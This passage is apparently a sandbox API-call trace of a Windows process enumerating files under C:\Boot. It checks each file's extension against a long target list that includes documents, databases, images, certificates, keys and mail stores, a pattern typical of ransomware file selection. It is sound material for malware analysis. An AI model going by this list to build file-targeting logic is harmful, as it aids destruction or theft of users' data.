[0090.192] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".bay") returned 4 [0090.192] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".bd") returned 3 [0090.192] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0090.192] lstrlenW (lpString=".bin") returned 4 [0090.192] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".bmp") returned 4 [0090.192] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".bz2") returned 4 [0090.192] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".c") returned 2 [0090.192] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0090.192] lstrlenW (lpString=".cdr") returned 4 [0090.192] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".cer") returned 4 [0090.193] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".cf") returned 3 [0090.193] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0090.193] lstrlenW (lpString=".cfc") returned 4 [0090.193] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".cfm") returned 4 [0090.193] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".cfml") returned 5 [0090.193] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0090.193] lstrlenW (lpString=".cfu") returned 4 [0090.193] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".chm") returned 4 [0090.193] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".cin") returned 4 [0090.193] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".class") returned 6 [0090.193] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0090.193] lstrlenW (lpString=".clx") returned 4 [0090.193] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".config") returned 7 [0090.193] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0090.193] lstrlenW (lpString=".cpp") returned 4 [0090.193] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0090.193] lstrlenW (lpString=".cr2") returned 4 [0090.193] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".crt") returned 4 [0090.194] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".crw") returned 4 [0090.194] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".cs") returned 3 [0090.194] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0090.194] lstrlenW (lpString=".css") returned 4 [0090.194] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".csv") returned 4 [0090.194] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".cub") returned 4 [0090.194] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".dae") returned 4 [0090.194] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".dat") returned 4 [0090.194] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0090.194] lstrlenW (lpString=".db") returned 3 [0090.194] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0090.195] lstrlenW (lpString=".dbf") returned 4 [0090.195] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".dbx") returned 4 [0090.195] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".dc3") returned 4 [0090.195] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".dcm") returned 4 [0090.195] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".dcr") returned 4 [0090.195] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".der") returned 4 [0090.195] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".dib") returned 4 [0090.195] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".dic") returned 4 [0090.195] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".dif") returned 4 [0090.195] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".divx") returned 5 [0090.195] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0090.195] lstrlenW (lpString=".djvu") returned 5 [0090.195] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0090.195] lstrlenW (lpString=".dng") returned 4 [0090.195] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".doc") returned 4 [0090.195] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0090.195] lstrlenW (lpString=".docm") returned 5 [0090.196] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0090.196] lstrlenW (lpString=".docx") returned 5 [0090.196] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0090.196] lstrlenW (lpString=".dot") returned 4 [0090.196] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0090.196] lstrlenW (lpString=".dotm") returned 5 [0090.196] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0090.196] lstrlenW (lpString=".dotx") returned 5 [0090.196] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0090.196] lstrlenW (lpString=".dpx") returned 4 [0090.196] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0090.196] lstrlenW (lpString=".dqy") returned 4 [0090.196] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0090.196] lstrlenW (lpString=".dsn") returned 4 [0090.196] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0090.196] lstrlenW (lpString=".dt") returned 3 [0090.196] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0090.196] lstrlenW (lpString=".dtd") returned 4 [0090.196] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0090.196] lstrlenW (lpString=".dwg") returned 4 [0090.196] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0090.196] lstrlenW (lpString=".dwt") returned 4 [0090.196] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0090.196] lstrlenW (lpString=".dx") returned 3 [0090.196] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0090.196] lstrlenW (lpString=".dxf") returned 4 [0090.197] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".edml") returned 5 [0090.197] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0090.197] lstrlenW (lpString=".efd") returned 4 [0090.197] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".elf") returned 4 [0090.197] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".emf") returned 4 [0090.197] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".emz") returned 4 [0090.197] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".epf") returned 4 [0090.197] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".eps") returned 4 [0090.197] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".epsf") returned 5 [0090.197] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0090.197] lstrlenW (lpString=".epsp") returned 5 [0090.197] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0090.197] lstrlenW (lpString=".erf") returned 4 [0090.197] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".exr") returned 4 [0090.197] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".f4v") returned 4 [0090.197] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0090.197] lstrlenW (lpString=".fido") returned 5 [0090.197] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0090.198] lstrlenW (lpString=".flm") returned 4 [0090.198] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".flv") returned 4 [0090.198] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".frm") returned 4 [0090.198] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".fxg") returned 4 [0090.198] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".geo") returned 4 [0090.198] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".gif") returned 4 [0090.198] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".grs") returned 4 [0090.198] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".gz") returned 3 [0090.198] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0090.198] lstrlenW (lpString=".h") returned 2 [0090.198] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0090.198] lstrlenW (lpString=".hdr") returned 4 [0090.198] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".hpp") returned 4 [0090.198] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".hta") returned 4 [0090.198] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0090.198] lstrlenW (lpString=".htc") returned 4 [0090.198] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".htm") returned 4 [0090.199] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".html") returned 5 [0090.199] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0090.199] lstrlenW (lpString=".icb") returned 4 [0090.199] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".ics") returned 4 [0090.199] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".iff") returned 4 [0090.199] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".inc") returned 4 [0090.199] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".indd") returned 5 [0090.199] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0090.199] lstrlenW (lpString=".ini") returned 4 [0090.199] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".iqy") returned 4 [0090.199] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".j2c") returned 4 [0090.199] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".j2k") returned 4 [0090.199] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0090.199] lstrlenW (lpString=".java") returned 5 [0090.199] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0090.199] lstrlenW (lpString=".jp2") returned 4 [0090.199] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".jpc") returned 4 [0090.200] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".jpe") returned 4 [0090.200] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".jpeg") returned 5 [0090.200] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0090.200] lstrlenW (lpString=".jpf") returned 4 [0090.200] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".jpg") returned 4 [0090.200] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".jpx") returned 4 [0090.200] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".js") returned 3 [0090.200] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0090.200] lstrlenW (lpString=".jsf") returned 4 [0090.200] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".json") returned 5 [0090.200] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0090.200] lstrlenW (lpString=".jsp") returned 4 [0090.200] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".kdc") returned 4 [0090.200] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0090.200] lstrlenW (lpString=".kmz") returned 4 [0090.200] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0090.203] lstrlenW (lpString=".kwm") returned 4 [0090.204] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".lasso") returned 6 [0090.204] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0090.204] lstrlenW (lpString=".lbi") returned 4 [0090.204] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".lgf") returned 4 [0090.204] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".lgp") returned 4 [0090.204] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".log") returned 4 [0090.204] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".m1v") returned 4 [0090.204] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".m4a") returned 4 [0090.204] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".m4v") returned 4 [0090.204] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".max") returned 4 [0090.204] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".md") returned 3 [0090.204] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0090.204] lstrlenW (lpString=".mda") returned 4 [0090.204] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".mdb") returned 4 [0090.204] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0090.204] lstrlenW (lpString=".mde") returned 4 [0090.204] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mdf") returned 4 [0090.205] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mdw") returned 4 [0090.205] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mef") returned 4 [0090.205] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mft") returned 4 [0090.205] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mfw") returned 4 [0090.205] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mht") returned 4 [0090.205] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mhtml") returned 6 [0090.205] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0090.205] lstrlenW (lpString=".mka") returned 4 [0090.205] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mkidx") returned 6 [0090.205] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0090.205] lstrlenW (lpString=".mkv") returned 4 [0090.205] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mos") returned 4 [0090.205] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mov") returned 4 [0090.205] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mp3") returned 4 [0090.205] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0090.205] lstrlenW (lpString=".mp4") returned 4 [0090.206] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0090.206] lstrlenW (lpString=".mpeg") returned 5 [0090.206] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0090.206] lstrlenW (lpString=".mpg") returned 4 [0090.206] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0090.206] lstrlenW (lpString=".mpv") returned 4 [0090.206] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0090.206] lstrlenW (lpString=".mrw") returned 4 [0090.206] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0090.206] lstrlenW (lpString=".msg") returned 4 [0090.206] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0090.206] lstrlenW (lpString=".mxl") returned 4 [0090.206] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0090.206] lstrlenW (lpString=".myd") returned 4 [0090.206] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0090.206] lstrlenW (lpString=".myi") returned 4 [0090.206] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0090.206] lstrlenW (lpString=".nef") returned 4 [0090.206] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0090.206] lstrlenW (lpString=".nrw") returned 4 [0090.206] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0090.206] lstrlenW (lpString=".obj") returned 4 [0090.206] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0090.206] lstrlenW (lpString=".odb") returned 4 [0090.206] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0090.206] lstrlenW (lpString=".odc") returned 4 [0090.207] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".odm") returned 4 [0090.207] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".odp") returned 4 [0090.207] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".ods") returned 4 [0090.207] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".oft") returned 4 [0090.207] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".one") returned 4 [0090.207] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".onepkg") returned 7 [0090.207] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0090.207] lstrlenW (lpString=".onetoc2") returned 8 [0090.207] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0090.207] lstrlenW (lpString=".opt") returned 4 [0090.207] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".oqy") returned 4 [0090.207] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".orf") returned 4 [0090.207] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".p12") returned 4 [0090.207] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".p7b") returned 4 [0090.207] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0090.207] lstrlenW (lpString=".p7c") returned 4 [0090.208] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pam") returned 4 [0090.208] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pbm") returned 4 [0090.208] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pct") returned 4 [0090.208] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pcx") returned 4 [0090.208] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pdd") returned 4 [0090.208] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pdf") returned 4 [0090.208] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pdp") returned 4 [0090.208] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pef") returned 4 [0090.208] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pem") returned 4 [0090.208] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pff") returned 4 [0090.208] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pfm") returned 4 [0090.208] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pfx") returned 4 [0090.208] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0090.208] lstrlenW (lpString=".pgm") returned 4 [0090.208] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0090.209] lstrlenW (lpString=".php") returned 4 [0090.209] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0090.209] lstrlenW (lpString=".php3") returned 5 [0090.209] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0090.209] lstrlenW (lpString=".php4") returned 5 [0090.209] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0090.209] lstrlenW (lpString=".php5") returned 5 [0090.209] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0090.209] lstrlenW (lpString=".phtml") returned 6 [0090.209] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0090.209] lstrlenW (lpString=".pict") returned 5 [0090.209] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0090.209] lstrlenW (lpString=".pl") returned 3 [0090.209] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0090.209] lstrlenW (lpString=".pls") returned 4 [0090.209] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0090.209] lstrlenW (lpString=".pm") returned 3 [0090.209] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0090.209] lstrlenW (lpString=".png") returned 4 [0090.209] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0090.209] lstrlenW (lpString=".pnm") returned 4 [0090.604] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0090.604] lstrlenW (lpString=".pot") returned 4 [0090.604] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0090.604] lstrlenW (lpString=".potm") returned 5 [0090.604] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0090.604] lstrlenW (lpString=".potx") returned 5 [0090.604] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0090.604] lstrlenW (lpString=".ppa") returned 4 [0090.604] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".ppam") returned 5 [0090.605] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0090.605] lstrlenW (lpString=".ppm") returned 4 [0090.605] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".pps") returned 4 [0090.605] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".ppsm") returned 5 [0090.605] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0090.605] lstrlenW (lpString=".ppt") returned 4 [0090.605] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".pptm") returned 5 [0090.605] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0090.605] lstrlenW (lpString=".pptx") returned 5 [0090.605] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0090.605] lstrlenW (lpString=".prn") returned 4 [0090.605] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".ps") returned 3 [0090.605] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0090.605] lstrlenW (lpString=".psb") returned 4 [0090.605] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".psd") returned 4 [0090.605] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".pst") returned 4 [0090.605] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".ptx") returned 4 [0090.605] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0090.605] lstrlenW (lpString=".pub") returned 4 [0090.606] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0090.606] lstrlenW (lpString=".pwm") returned 4 [0090.606] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0090.606] lstrlenW (lpString=".pxr") returned 4 [0090.606] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0090.606] lstrlenW (lpString=".py") returned 3 [0090.606] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0090.606] lstrlenW (lpString=".qt") returned 3 [0090.606] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0090.606] lstrlenW (lpString=".r3d") returned 4 [0090.606] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0090.606] lstrlenW (lpString=".raf") returned 4 [0090.606] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0090.606] lstrlenW (lpString=".rar") returned 4 [0090.606] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0090.606] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0090.606] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0090.607] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0090.607] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0090.607] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0090.607] lstrlenW (lpString="C:\\Boot\\et-EE") returned 13 [0090.607] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0090.607] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, 